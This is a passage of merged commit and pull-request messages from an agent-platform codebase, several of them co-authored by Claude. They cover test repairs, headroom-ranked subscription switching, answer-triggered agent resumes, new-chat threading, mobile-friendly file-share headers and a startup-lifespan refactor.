that had gone inert, so they are fixed here rather than left for the next PR to
trip over. Frontend-only PRs pass because the `changes` job path-filters the
backend suite away, which is why this went unnoticed.

  * `test_both_portal_row_creation_sites_name_the_chat` asserted a literal
    census of `== 2` sites. It went red the moment the third site appeared —
    the guard WORKING — and the bug it names shipped anyway. Now asserts the
    rule instead of the count: every site that stamps the surface must also
    stamp the destination. Census-proof.

  * `test_portal_turn_kwargs_bind_against_execute_task` parsed `portal_chat`
    for a literal `run_resumable_turn(...)` call. That call had moved into
    `_run_sync_turn_and_clear_marker`, where it is `run_resumable_turn(**kwargs)`
    — a splat, which names nothing — so the walk found no keywords and the
    guard asserted itself dead. Now reads the keywords where they are actually
    named (the wrapper's call site), scanning both entry names and subtracting
    the wrapper's own consumed parameters.

Neither rewrite loses coverage; both now fail for the reason their docstring
gives rather than because a number or a call site moved.

WHY THE BUG SURVIVED ITS TESTS. ent#457's mock the engine and assert the kwargs
are passed (they are). ent#365's assert no orphan `running` row (still true).
Nothing asserted the PERSISTED ROW, which is the only place the two meet — the
same lesson `test_ent457_portal_turn_kwargs.py` states about itself. The new
suite asserts at that layer, and adds a derived parity check so a fourth
channel field added to one writer and forgotten in another fails here instead
of shipping as another silently-inert report path.

Verification: 402 passed on the portal/ent457/ent365 selection (was 2 failed
before this branch). Mutation-checked: removing the stamp turns 4 red; feeding
`execute_task` an unknown kwarg turns the repaired binding guard red.

Closes #2426

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(subscriptions): auto-switch ranks alternatives by cached headroom, never by load alone (#2409) (#2422)

## Summary
- `select_best_alternative_subscription` returned the **first** survivor of the 2h failure filter in `agent_count ASC` order and read no headroom — SUB-003 could move an agent onto a subscription at 99% of its weekly window, and an *unused dead-token* subscription (no agents ⇒ no failure rows) sorted **first**.
- Now: **filter in the db, rank in the service, never a probe.** The db lists survivors (kind-blind 2h filter unchanged and first, #444/#2352, `agent_count ASC, name ASC`); the service ranks them over the cached provider snapshot (one `MGET`) furthest-from-the-nearest-wall first (the fuller of the 5h/7d windows — the #792 retry lands on the destination immediately), in 10-point bands so load still spreads a storm; a **fresh** provider refusal is dropped; anything unusable sorts in today's order; any failure of the ranking half falls back to today's pick **with a warning**.
- `classify_headroom` (ent#434) and the ranker share one usability gate (`headroom_reading`) — verdicts byte-identical, pinned by a differential test against a frozen copy. New-agent auto-assign (#74) rides the same ranker. The switch now records **why** (`destination_headroom` + one notification clause).
- Approved deviations from the literal AC, recorded on the issue: nearest-wall key instead of 7d-only; fresh refusals filtered instead of ranked last.

## Changes
- `src/backend/services/subscription_headroom_service.py` — gate, MGET reader, threshold-free ranker, `MAX_READING_AGE_SECONDS` (owned here now); `classify_headroom` becomes policy over the gate
- `src/backend/services/subscription_auto_switch.py` — service-layer selector (`asyncio.to_thread` under the agent lock), `destination_headroom` on activity / notification / result
- `src/backend/services/subscription_service.py` — `select_subscription_for_new_agent`
- `src/backend/db/subscriptions.py` + `database.py` — `list_viable_alternative_subscriptions` / `list_assignable_subscriptions` (filter only); first-match selectors retired
- `src/backend/services/agent_service/crud.py` — call site; `subscription_headroom_alerts.py` — constant re-export + docstring
- Tests: new `tests/unit/test_2409_headroom_ranked_switch.py`; pingpong / 2352 / concurrency / 1484 / 1759 adapted to the list form (assertions kept)
- Docs: `architecture.md`, `subscription-auto-switch.md` (+ management, usage-tracking), requirements §20.4, `learnings.md` (2 entries), CSO diff report

## Test Plan
- [x] New suite: `pytest tests/unit/test_2409_headroom_ranked_switch.py` — 83 passed; **80/81 fail on the unmodified source**
- [x] Full `tests/unit`: 12,718 passed / 30 skipped / 1 pre-existing failure (`test_1920`, private submodule, untouched)
- [x] API integration (`test_subscription_auto_switch`, `test_subscriptions`, `test_subscription_usage`): 36 passed
- [x] Live: a real switch chose the 18%/9% subscription over the 0-agent 88%/60% one; every-survivor-refused → no switch + WARNING; no snapshot → today's order
- [x] `/review` clean (informational findings fixed in-review); `/cso --diff` no findings
- Follow-ups filed while testing: #2419 (parser overage), #2420 (destructive integration suite), #2421 (subscription audit gap)

Fixes #2409

🤖 Generated with [Claude Code](https://claude.com/claude-code)

* feat(workspace): an answer given in the Workspace resumes the agent (ent#430)

Slice 5 of ent#364, and the gate: until now the client route recorded an answer
and returned. The operator route called `spawn_resume_dispatch`; this one did
not. So an ask addressed to a Workspace client — the entire point of
ent#364/#428/#429 — was recorded, reached the agent's queue file in about three
seconds, and re-triggered nothing.

Measured on a live instance before this change: answered from the Workspace,
`operator-queue.json` flipped to `responded` with the answer in under 3s, and no
execution followed.

Unblocked because ent#329 is in dev.

WHAT THIS ADDS: one call. ent#430's body rules out the alternative — "a second
dispatch surface for the same event is how the cost, trigger-label and
loop-prevention questions get answered twice, differently" — so the per-agent
opt-in, the idempotency key, the audit row and the failure handling all stay
inside `maybe_dispatch_resume`. AC #2 and AC #3 are satisfied by REUSE rather
than by re-implementation, and the tests assert the CALL for that reason.

Four properties, each load-bearing:

* Hung off the CAS WIN only, like the operator route. The 409 above already
  returned for a lost race, so reaching the dispatch means this answer is the
  one that landed — two people answering at once produce one resume.
* `updated`, never `item`. The pre-answer read still says `pending`; a resume
  handed that row acts on an ask that does not yet carry its answer. Looks
  identical in a green test, which is why there is one for it.
* The spawn is wrapped. It is fire-and-forget, but a raise ON THE CALLING LINE
  would still propagate, and a 500 after the CAS landed would tell the client
  their answer failed while it is committed and already on its way to the agent.
  The answer is the thing that must not be lost.
* #2376's choice validator runs first, so an answer that was never offered
  cannot spend.

AC #5 — `resume_requested` on the answer response, read from the SAME accessor
the dispatch gates on, so the two cannot disagree about what is about to happen.
It reports INTENT, not success: the dispatch is backgrounded, so at that moment
the only honest claim is whether it will be attempted. Fails CLOSED — an
unreadable flag claims nothing, because over-claiming is exactly the failure
AC #5 names ("the ask does not read as resolved while nothing happened").

RESIDUAL, stated rather than implied: a dispatch that fails AFTER this point
surfaces as a FAILED execution row plus an `operator_resume_dispatch` audit
entry (ent#329) — operator-visible, and a client cannot see either. The client
half of AC #5 is satisfied negatively for now: the ask surface says nothing
about work starting, so it cannot mis-claim. `resume_requested` is the field a
surface needs to say something true; consuming it is an ent#429 UI change and is
deliberately not in this PR.

The per-agent flag DEFAULT IS UNCHANGED (`operator_resume_enabled`, OFF,
owner-only). "Turn the flag on" is an operator action per agent, not a code
default: flipping it would hand every shared agent's client a spend button,
which is the one thing AC #3 rules out.

Verification: 145 passed across the asks/ent#329/ent#364/#428/#429/#2376
selection. Mutation-checked — removing the dispatch (4 red), passing the
pre-answer row (1 red), and making the opt-in read fail open (1 red).

Closes ent#430

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(workspace): New chat means a new chat (ent#451 — the fresh-thread slice)

Reported: pressing New chat in the Workspace drops you back into the existing
conversation with that agent. Decided at the 2026-08-21 weekly.

ONE VALUE CARRYING TWO MEANINGS. An absent `session_id` meant both "I don't know
which thread" and "I want a fresh one", and the platform resolved it as the
first, in both readers:

    _resolve_session_id(..., None)  -> resume the client's latest
    get_history(..., None)          -> return the most-recent thread

Both readings are RIGHT for the case they were written for — a deep link, a
refresh, an API caller that never held a session id — so neither could be
inverted. The intent had to become sayable: `new_thread` on the request,
`newChat` on the component, checked before the resume.

The frontend tell was an asymmetry: New chat with the agent you were ALREADY on
started fresh, while New chat with a different agent resumed. The watcher read a
changed agent as "load that agent's history" and called `fetchHistory(name,
null)`, discarding the `pendingSession = null` that `newChatWithAgent` had just
set to mean the opposite.

MOST OF ent#451 TURNED OUT TO BE BUILT. Recorded because the issue is
complexity-high and this PR is not:

* the data model already allows many sessions per (agent, client) — no UNIQUE
  constraint, a `title` column, an index on
  `(agent_name, client_email, last_message_at)`, and auto-titling. AC #4's
  "migrates cleanly" is nothing to migrate.
* AC #2's list is the existing sidebar: titles, recency, starred lifted out,
  search, per-agent avatars.
* AC #3's landing rule is already decided and documented in
  `ensure_thread_for_ask` — reuse the latest thread so asks do not accumulate
  beside the conversation. UNCHANGED here, and pinned by a test so this cannot
  move it silently. It matters MORE once several chats exist, not less.

So what was missing is AC #1, and it is two bits rather than a data model.

Four properties:

* An explicit `session_id` WINS over the flag. A caller sending both contradicts
  itself; the id is a fact, the flag an intent, and abandoning a named thread
  would strand a turn meant for a conversation the caller could see.
* The ownership check runs first either way — the flag is never a route past it.
* BOTH turn entry points carry it. The Workspace uses the streaming path and
  falls back to the synchronous one, so a flag honoured by only one brings the
  bug back exactly when streaming fails.
* The intent is spent on adoption. The send guard already ANDs on "no session
  yet", so a second turn was never going to open a third thread; clearing it in
  `onSessionAdopted` keeps the two bits from disagreeing after a navigation.

Test doubles updated, not worked around: seven `_resolve_session_id` lambdas and
four `_fake_chat` stubs did not accept the new keyword. They take `**kw` now — a
stub that must be edited for every new parameter is a second signature — and one
hand-rolled `_Body` model double gained the field. All are stale stubs rather
than behaviour changes.

Verification: 392 passed across the portal/ent#286/#287/#358/#429/#430/#451
selection; 1497 frontend unit tests. Mutation-checked: making the flag inert, and
letting it override an explicit session id, each turn the suite red. The full
backend suite exceeds a local foreground run and is left to CI.

Pre-existing and NOT from this branch: `test_ent457_portal_turn_kwargs` and
`test_both_portal_row_creation_sites_name_the_chat` fail on `dev` today; both are
fixed in #2427.

Related to ent#451

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(review): the ?new=1 deep link, the missing frontend test, and three latent desyncs (ent#451)

Blocker 1 was real and I had not seen it. `resolveAgentQuery` passed `forceNew`
to `resolveAgentLanding` and set `pendingSession = null`, but never raised
`startingNewChat` — so `/workspace?agent=X&new=1` rendered an empty conversation
and then sent `new_thread: false`, resuming the thread the user asked to leave.
The reported bug, intact on the documented `?new=1` contract, in the PR that
exists to fix it.

The cause is the one this PR is about, one level up: `route.query.new` was read
in two places for two different decisions — WHICH THREAD to land on and WHAT THE
FIRST SEND ASKS FOR — and only the first honoured it. Now read ONCE into a local
that feeds both, so they cannot drift again. AND-ed with the landing result, so
a `?new=1` that still resolved a thread never claims a fresh start.

Blocker 2: a frontend test, which the change genuinely had none of — the
`1497 passed` in the body was the pre-existing suite, as the review says.
`workspaceNewChat.spec.js` (9 tests) covers the deep link, the watcher branch
ORDER, the first-paint guard, both send conjunctions, and the settle-everywhere
rule, using the two established patterns (pure function + source assertion in
the `portalLeaveSpecificRoute.spec.js` shape) since vitest runs
`environment: 'node'` with no mount harness. Mutation-checked, and M1 is the
reviewer's own blocker: reverting it turns the suite red.

Blocker 3: `test_history_without_a_session_is_unchanged` cited "the spec in
tests/unit/... frontend suite" — a dangling reference asserting coverage that
did not exist. It now names the real file.

Comments addressed:

* Three more sites nulled `pendingSession` without settling the intent — the
  deep-link watcher (the commonest way in), `openRoom`, `openAgentPage`, plus
  the unreachable-agent branch. Latent because both consumers AND on "no session
  yet", but a flag that is only correct because of a second variable is one
  refactor from being wrong, and the declaration claims it is cleared the moment
  a real thread exists. Now true.
* `test_both_turn_entry_points_forward_it` was `getsource` + a substring, so a
  comment or a misspelled kwarg satisfied it. It now BINDS the keyword against
  each service signature and asserts the routes forward `body.new_thread`
  through a comment-stripped source — verified by mutation.
* `workspace-absorbs-session.md` updated at both seams the change touches
  (`resolveAgentLanding`'s landing rule and `_resolve_session_id`'s three
  states), and `architecture.md`'s Workspace section documents the new public
  `new_thread` field on the ent#83 headless surface.
* Gating stated rather than inferred: "OSS-core by decision (ent#451)", matching
  the ent#326/#384/#392 convention.

ONE CORRECTION, offered with evidence rather than silently applied. The review
says "`test_ent457_portal_turn_kwargs.py` doesn't exist on `dev`, #2427
introduces it". It does exist on `dev` — added by d6a4bc10 (ent#457) — and #2427
modifies it. `git cat-file -e origin/dev:tests/unit/test_ent457_portal_turn_kwargs.py`
succeeds, and `backend-unit-test` is failing on `dev` independently of any PR.
So the body's "fails on dev today" stands. Everything else in the review is
accepted as written.

Verification: frontend 1497 -> 1506 (+9). Backend 392 passed on the portal
selection, the same 2 pre-existing dev failures unchanged.

Related to ent#451

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(resume): the respond→resume dispatch never ran — bad import, masked by its own stub (ent#329)

Found by testing this PR's feature against a live local instance. ent#430 wires
a Workspace answer to `spawn_resume_dispatch`, so this PR is dead on arrival
without it — the client path would have hit the same wall the operator path has
been hitting since ent#329 merged.

THE BUG. `operator_resume_service.maybe_dispatch_resume` did:

    from services.task_execution_service import task_execution_service

That name has never existed on that module; it exports
`get_task_execution_service()`. The import sits on the FIRST line of the
function, above the try, so every dispatch raised ImportError before it even
read the opt-in.

WHY NOBODY NOTICED, twice over:

* the call is fire-and-forget, so the traceback surfaces only as asyncio's
  "Task exception was never retrieved" — nothing fails, nothing 500s, the
  answer is recorded and the config audit row is written. It looks like it
  worked.
* the ent#329 unit test stubbed `services.task_execution_service` with
  `SimpleNamespace(task_execution_service=recorder)` — MANUFACTURING the very
  symbol whose absence was the bug. 21 tests green, feature dead.

MEASURED on a live instance, opt-in ON:

  before: answer 200, audit row written, executions 0->0, log carries
          "cannot import name 'task_execution_service'"
  after : answer 200, executions 0->1, triggered_by=operator_response,
          audit `operator_resume_dispatch` with the execution id, 0 ImportErrors

(The dispatched run then failed on a missing AGENT_AUTH_SECRET — a limitation of
the test box, and correctly recorded as an honest FAILED row, which is ent#329's
"never silent" requirement doing its job.)

THE GUARD is the durable part, because the stub is the real lesson: a stub that
invents an API the real module lacks converts a production crash into a green
suite. `test_the_names_this_service_imports_actually_exist_on_the_real_modules`
parses the REAL module source with `ast` — never the stubbed `sys.modules`
entry, which is what made this invisible — and asserts every
`from services.X import Y` resolves. Mutation-checked: reverting the import
turns 11 tests red.

Related to ent#430, ent#329

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(review): the dispatch could not run, the race loser spent, the flag over-claimed (ent#430)

All three blockers from the review, each verified rather than argued.

1. THE FEATURE WAS INERT. `client_portal/asks/router.py` declares `answer_ask`
as a plain `def`, so FastAPI runs it through `run_in_threadpool` — a worker
thread with no event loop — and `asyncio.create_task` raises
`RuntimeError: no running event loop` there. The `except` swallowed it, so every
client answer recorded the answer and dispatched nothing: byte-for-byte the
behaviour this PR exists to remove.

Fixed in `spawn_resume_dispatch` rather than by flipping the route to
`async def`, for the two reasons the review names: the route does blocking DB
I/O, so `async def` alone would move it onto the loop; and ent#430's stated
shape is ONE dispatch site, which moving the spawn back out to the caller would
undo. It now detects the absence of a loop and hops back via
`anyio.from_thread.run_sync` — Starlette's threadpool is anyio's, so the portal
is always there on this path. Any future sync caller inherits the fix.

A thread anyio does not own reaches neither branch. That is not a production
shape, but it must not become the silent no-op this change removes, so it raises
with the cause named instead.

2. THE RACE LOSER SPENT MONEY. `respond_to_operator_queue_item` returns None
only when the row is GONE; when the row exists and has left `pending` — the race
that actually happens — it returns a TRUTHY dict carrying `_status_conflict`,
having written nothing. `if not updated` fell straight through it. The loser
then dispatched a paid execution for an answer not in the database, and because
the idempotency key hashes the response text, the loser's differing text yields
a different digest: one queue item, two paid dispatches. `routers/operator_queue.py`
already pops that flag before its own spawn; this is that rule, not a new one.
Popped, not read, so the sentinel cannot serialize to the client.

3. `resume_requested` OVER-CLAIMED. It was computed after the swallowed spawn
from the opt-in flag alone, so a spawn that raised still answered `true` — the
exact failure AC #5 names, and given (1) that was EVERY production answer on an
opted-in agent. It now reports what was actually scheduled.

TESTS — the reason all three survived 24 green checks is that every existing test
replaced `spawn_resume_dispatch` with a synchronous lambda, stubbing out the one
call whose runtime context was the defect. `test_ent430_dispatch_actually_runs.py`
drives the REAL spawn from a REAL anyio worker thread (the production context,
not an approximation) and asserts the premise before the behaviour. The lost-race
test uses the truthy `_status_conflict` shape that actually occurs, not the
`None` shape that does not. Mutation-checked: reverting fix 1 turns 1 red, fix 2
turns 3 red, fix 3 turns 2 red.

Writing those tests also caught a stubbing bug of my own, worth recording because
it is the trap that hid the original: patching only `sys.modules` leaves
`from services import operator_resume_service` resolving the PACKAGE ATTRIBUTE,
so the real function ran anyway. Both paths are patched now.

Related to ent#430

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(review): the answered ask said pending, and the docs described one caller (ent#430)

Non-blocking findings from review pass 2. The three blockers landed in d11956a8.

STATUS. `_project` mapped every row to pending/expired, so the response to a
just-recorded answer read `status: "pending"` beside `resume_requested: true` —
one row reporting both that nobody has answered it and that answering it started
work. Harmless while the second field did not exist; contradictory once it did.
`_status_of` adds `answered` (`responded`/`acknowledged`), reachable only from
the answer response since the listing carries neither. Answered is checked
BEFORE expiry — an answer that landed is a fact, and an `expires_at` that has
since passed does not un-answer it; the obvious refactor is to test expiry first,
which would make a slow client's own answer vanish, so the ordering is pinned.

The existing test asserted `out.status in ("pending", "expired")` with the
comment 'the point is it returned at all' — it was papering over exactly this.
It now asserts `answered` and, on the spawn-failure path it covers, that
`resume_requested` is False.

THE TWO READS. `_resume_requested`'s docstring claimed it read 'the SAME
accessor … so the two cannot disagree'. True of the accessor, false of the
instant: it is a second read a task hop earlier, and an owner disabling the
opt-in in between gets `true` and no resume. Collapsing them is not the fix —
they answer different questions (one must produce a value for THIS response, the
other is the authority at the moment it would spend), so the window is stated,
with AC #5's own remedy named, rather than described away.

DOCS. architecture.md's ent#329 section described a single caller and stated the
CAS-win property the second caller broke. It now carries the second caller, the
truthy-`_status_conflict` shape that defeated `if not updated`, the
sync-endpoint/no-loop defect and its `anyio.from_thread.run_sync` fix, and what
`resume_requested` actually reports.

Related to abilityai/trinity-enterprise#430

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore(enterprise): bump the submodule pointer to main (a419812 -> 90f2f2c) (#2440)

dev's pointer was OLDER than main's — an inversion, not just staleness. The
next dev -> main release merge would have carried it backwards and undone
ent#443's enterprise-side removal:

  OSS main -> 2a5def3   (ent#443: shared_sessions removed from enterprise)
  OSS dev  -> a419812   (4 behind enterprise main, 2026-08-19)
  ENT main -> 90f2f2c

90f2f2c is a fast-forward from BOTH (a419812...main = ahead 0 / behind 4;
2a5def3...main = ahead 3 / behind 0), so nothing is being rewound.

WHAT THE FOUR COMMITS ARE

  2a5def3  refactor(rooms): remove shared_sessions — it now lives in OSS core (ent#443)
  ff0a4f1  fix(security): guard the enterprise system_settings sinks against
           cleartext credentials (ent#435) — the private twin of the OSS sink
           guard architecture.md already records as "the private submodule owns
           its twin"
  6d82a3f  docs(workspace): agent-initiated asks — design of record
  90f2f2c  feat(credential-vault): governed system credential vault module (ent#279)

WHY IT MATTERS RATHER THAN BEING HOUSEKEEPING. ent#443 moved rooms into OSS
core, and dev has that. With the stale pin an entitled dev install mounts the
OSS rooms routers AND the enterprise shared_sessions module, and relies on
main.py's include-order (OSS before register_enterprise) to decide which one
serves. architecture.md documents that ordering as the transition safety net —
this bump is the follow-through that ends the transition.

VERIFIED BY BOOTING BOTH POINTERS against dev, same box, same DB shape:

  a419812 (today):  17 modules | shared_sessions registered: True  | 6 room paths | 0 errors
  90f2f2c (this):   17 modules | shared_sessions registered: False | 6 room paths | 0 errors

Both boot clean and log "Trinity Enterprise modules registered" — the line
deploy-dev greps. Module count is unchanged because shared_sessions leaves as
credential_vault arrives. No duplicate room paths in either, confirming the
ordering net held; after the bump there is nothing to net.

Gitlink only — no OSS source changes, so public CI (which never checks the
submodule out) is unaffected.

Related to ent#443, ent#435, ent#279

* chore(metrics): code-health dashboard 2026-08-31 @ 135248e9 (#2438)

Co-authored-by: Trinity Agent (trinity) <trinity-agent@ability.ai>

* chore(deps): bump node (#2400)

Bumps the docker-base-images group with 1 update in the /docker/frontend directory: node.


Updates `node` from 24-alpine to 26-alpine

---
updated-dependencies:
- dependency-name: node
  dependency-version: 26-alpine
  dependency-type: direct:production
  dependency-group: docker-base-images
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* fix(files): shared links were unopenable on mobile — Range, disposition, MIME, CORP (trinity-enterprise#461) (#2439)

* fix(files): shared links were unopenable on mobile — Range, disposition, MIME, CORP (trinity-enterprise#461)

The bytes were never wrong. Verified from the Cloudflare edge, the object
returned HTTP 200 with correct content-length and correct WAV bytes for every
user-agent tried, and the signature check worked. The RESPONSE SHAPE was wrong
in four ways at once, and each one alone is enough to break playback in an iOS
in-app browser:

* no Range support — `Range: bytes=0-1023` returned 200 with the whole 2 MB
  body and no `accept-ranges`. iOS Safari and Telegram's player require a 206
  to start audio at all, so this alone made the file unplayable.
* `content-disposition: attachment` — a forced 2 MB download inside Telegram's
  iOS browser is a blank screen.
* `audio/x-wav` under `nosniff` — unregistered type, so a strict player
  declines it and the browser is forbidden from guessing better.
* `cross-origin-resource-policy: same-origin` on a link whose entire purpose is
  to be opened from another platform.

Plus `cache-control: no-store`, which forbids the in-app browser from buffering
media it will not play without buffering.

THE INLINE CHANGE IS A NARROWING, NOT A REVERSAL. The old code forced
`attachment` on everything with the note 'defense against XSS via
agent-uploaded HTML', and that reasoning is still correct — this route serves
agent-authored bytes from the same origin as public chat. So inline is an
ALLOWLIST (`_INLINE_SAFE_TYPES`: audio, video, image, PDF) and `text/html`,
`application/xhtml+xml` and `image/svg+xml` stay attachments. SVG is called out
because it is the one a reviewer waves through: it is an image by name and a
script host in fact. The type is python-magic-detected from the file's own bytes
at share time, never agent-supplied, and its unavailable-fallback
(`application/octet-stream`) sits outside the allowlist, so the failure
direction is `attachment`. `nosniff` is kept and matters more now, not less.

TWO THINGS THE ISSUE DID NOT ASK FOR, both found while implementing:

* `Content-Length` came from the DB's `size_bytes`, written at share time. Any
  drift from the file on disk is unrecoverable for the client — too small
  truncates, too large hangs — and Range math against a wrong total produces a
  `Content-Range` that contradicts the body. It now comes from
  `os.path.getsize`, with a WARNING on divergence.
* a media player fetches one file as MANY ranged requests. Counting each as a
  download would turn one play into dozens and write an audit row per chunk, so
  the counter and the audit fire only on the transfer START (a plain GET, or a
  range beginning at byte 0).

VERIFIED end-to-end against the real route, not just the parsers:

  full GET      : 200 | type audio/wav | disp inline | ranges bytes
                | corp cross-origin | cc private, max-age=3600
  range 0-1023  : 206 | body 1024 | bytes 0-1023/2048000 | bytes ok
  suffix -500   : 206 | bytes 2047500-2047999/2048000 | bytes ok
  unsatisfiable : 416 | bytes */2048000
  HEAD          : 200 | accept-ranges bytes | content-length 2048000
  no sig / bad sig / unknown id / expired : 401 / 401 / 404 / 410
  html file / svg file : attachment

That covers the issue's Definition of Done line by line, including that the
signature check still rejects unsigned and expired requests.

46 new unit tests, weighted to the allowlist and to the range parser's
silent-corruption case (`bytes=-500` is the LAST 500 bytes; reading it as
start=0 serves the wrong bytes under a 206, which no client can detect).

Related to trinity-enterprise#461

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(files): the CORP header was inert — the security middleware clobbered it (trinity-enterprise#461)

Found by testing the PR against a real local instance rather than a TestClient.

`main.add_security_headers` runs after EVERY route and set
`Cross-Origin-Resource-Policy` with a plain assignment. So the `cross-origin`
policy the file-download route sets — one of the four fixes in this PR, and the
one that decides whether Telegram, Slack or WhatsApp can embed or preview the
link at all — was silently overwritten back to `same-origin` on its way out.

The fix shipped INERT and every test passed, because a bare `FastAPI()` +
router harness has no middleware. Measured on the running server:

  before: cross-origin-resource-policy: same-origin
  after : cross-origin-resource-policy: cross-origin   (file route)
          cross-origin-resource-policy: same-origin    (/health, unchanged)

`setdefault` rather than a route allowlist: absence still resolves to the strict
default, so every other route keeps today's behaviour and a new route has to opt
out deliberately rather than inherit an exception.

Pinned by a source assertion — asserting it end-to-end needs a live stack, and
what must not regress is the `setdefault`; an edit back to `=` would re-break it
invisibly.

Related to trinity-enterprise#461

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(main): lifespan is an orchestrator, not a 580-line procedure (#1028) (#2437)

* refactor(main): lifespan is an orchestrator, not a 580-line procedure (#1028)

`main.py::lifespan` was 580 lines at cyclomatic complexity 109 — the longest
function in the backend and the first item the 2026-06-02 refactor audit named.
It is now 25 lines at CC 1: a flat list of `await _phase()` calls over twelve
startup helpers and four shutdown helpers.

WHAT MOVED, AND THE PROOF THAT NOTHING ELSE DID. Every body is verbatim. That
is asserted mechanically rather than claimed: extracting all non-blank lines
from the sixteen helpers in call order and diffing against the original
`lifespan` body gives 518 = 518, identical. The only relocated line is `yield`.
No behaviour change, no logic touched, no try/except reshaped — each phase keeps
its own guard, because a failing phase must not take the boot down, which is
what the original did.

WHY THE TEST IS THE POINT. Splitting the function is easy; keeping it split is
not, and the thing worth guarding is not the line count — it is THE ORDER.
Boot ordering is load-bearing in ways invisible at the call site: a reviewer
looking at sixteen await lines cannot see that moving one breaks something,
because the coupling lives in the bodies. Before this it was implicit in a
function nobody could read in one sitting; after it, it is a list — which is an
improvement only if something enforces the list.

So `tests/unit/test_1028_lifespan_phases.py` pins the sequence WITH the reason
for each constrained pair recorded beside it: logging first so a later hang
cannot swallow the boot log (#858); the event bus before any WebSocket client
needs a live dispatcher (#306); Docker/system-agent before the fleet sweepers;
startup recovery before the channel transports, so inbound traffic cannot create
an execution that races the reconcile; the event-bus drain LAST on shutdown so
late broadcasts still land. A reorder now fails with the reason attached instead
of surfacing weeks later as a boot bug nobody connects to this commit.

It also pins the `yield` split (a phase appended after it silently becomes
shutdown work), the per-helper thresholds the issue asked for (<100 lines,
CC <20), and orphan/double calls. Mutation-checked five ways — recovery moved
after the transports, event bus after Docker, a dropped shutdown phase, the
drain no longer last, a phase pushed past `yield` — all caught.

ONE DEFECT THIS FOUND IN ITSELF, worth recording because it is the failure this
refactor's shape invites. The extraction moved `@asynccontextmanager` by one
definition: it landed on the first phase helper and `lifespan` was left a bare
async generator, which FastAPI cannot use as a lifespan. Boot-breaking — and the
entire 12,900-test unit suite stayed green, because nothing in it imports `main`
and asks what shape `lifespan` is. It surfaced only from an explicit import
check (`iscoroutinefunction` on each helper returned False for one, with
`co_filename` pointing into contextlib). Fixed, and pinned by its own test.

Docs: the `main.py` row in architecture.md now records that the order is the
contract and where the constraints are, so the next person to add a startup step
knows it belongs in a phase helper.

Scope: one file per the issue's own recommendation. The remaining ACs
(`routers/settings.py`, `routers/ops.py`, `services/git_service.py`,
`services/agent_client.py`, `routers/public.py::public_chat`) stay open on #1028.

Related to #1028

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(review): three phase helpers used locals the split left behind (#1028)

/review's scope pass caught a real runtime break in my own extraction, and the
interesting part is that three separate verifications had already passed on it.

`main.py` never imports `database` at module level. The old `lifespan` did
`from database import db as _db` once near the top, and three blocks 100+ lines
later used it through the enclosing function scope: the system-agent
`setup_completed` gate, the Telegram transport and the WhatsApp transport.
`message_router` was the same shape — imported in the Slack block, used by the
Telegram one. After the split all four are NameError.

The severity is in the swallow. Every one of those use sites sits inside
`try/except Exception`, so the boot SUCCEEDS: the log carries "Error starting
Telegram transport: name '_db' is not defined" and the Telegram and WhatsApp
integrations are simply never wired. A silently dead integration, not a failed
boot — and the per-phase guard that makes each phase fail-open is exactly what
hides the extraction bug.

Why the existing checks missed it, all three: the AST equivalence proof compares
LINES and the lines are identical; the structural pin asserts order, thresholds
and decorators, not name resolution; and the `import main` smoke never RUNS
`lifespan`, so nothing resolves those names at import time.

Fixed by re-materialising each import in the helper that needs it — the
original's own idiom — with a comment saying why it is there, so a later reader
does not "tidy" it back out.

CORRECTION TO THE CLAIM: the bodies are no longer byte-identical. They are
verbatim EXCEPT these four re-materialised imports, which is now what the PR
body and the docstrings say. A verbatim claim stops being true the moment a
leaked name has to be restored, and quietly keeping the claim is worse than the
bug.

Also pinned, because this gets more likely with every future split of the same
function: test_no_phase_helper_depends_on_another_phases_locals asserts, per
helper, that `names_loaded - names_bound - module_globals` is empty. Mutation-
checked by deleting the restored `_db` import — reproduces the shipped bug and
turns the suite red.

Also: the phase-count docstrings said "of 10" in 9 helpers; the transports were
split into three after that text was written, so it is 12.

learnings.md gains the class: extract-method has a failure mode the diff cannot
show and an import smoke cannot reach.

Related to #1028

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(review): the verbatim claim survived in three docstrings (#1028)

Re-review finding. The previous commit corrected "bodies are byte-identical"
in the PR body but left the same claim standing in the code, where it is more
likely to be believed: the three helpers that gained a re-materialised import
still said "the body below is unchanged".

A stale claim next to the exact line that falsifies it is worse than no claim —
it is the thing a future reader checks against before deciding the import looks
redundant. Now each says verbatim EXCEPT the restored import, and points at the
comment explaining why it is there.

Related to #1028

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(tests): two pre-existing lifespan guards read a function the split emptied (#1028)

CI's regression diff caught 4 new failures, deterministic across all three
seeds. Both guards assert properties of `lifespan`'s SOURCE, and #1028 moved
that source into phase helpers — so they were asserting things about a function
that is now 25 lines of `await` calls.

The properties still hold. The guards had stopped being able to see them, which
is the worse failure: a guard that silently stops covering its subject reads
identically to one that passes.

test_1267_lifespan_db_alias — and this one is pointed: #1267 IS the bug class
/review caught in this branch. It fired when the transport blocks called a bare
`db` while only `_db` was in scope, NameError swallowed by the surrounding
try/except and surfaced as a misleading "Error starting Telegram transport".
The split re-introduced the same class in a new form (`_db` bound in phase 1,
read in three later helpers), and this guard could not see it because it only
ever looked inside `lifespan`.

So it now follows the calls: `_lifespan_surface()` returns `lifespan` plus the
helpers it awaits, and every check scans all of them. The alias check is
STRENGTHENED rather than merely relocated — binding `_db` somewhere on the
surface is no longer sufficient, because after the split each helper is its own
scope, so every function that READS `_db` must bind it. That assertion fails on
the exact defect this branch shipped.

test_858_dockerfile_unbuffered — the #858 invariant is an ORDERING one
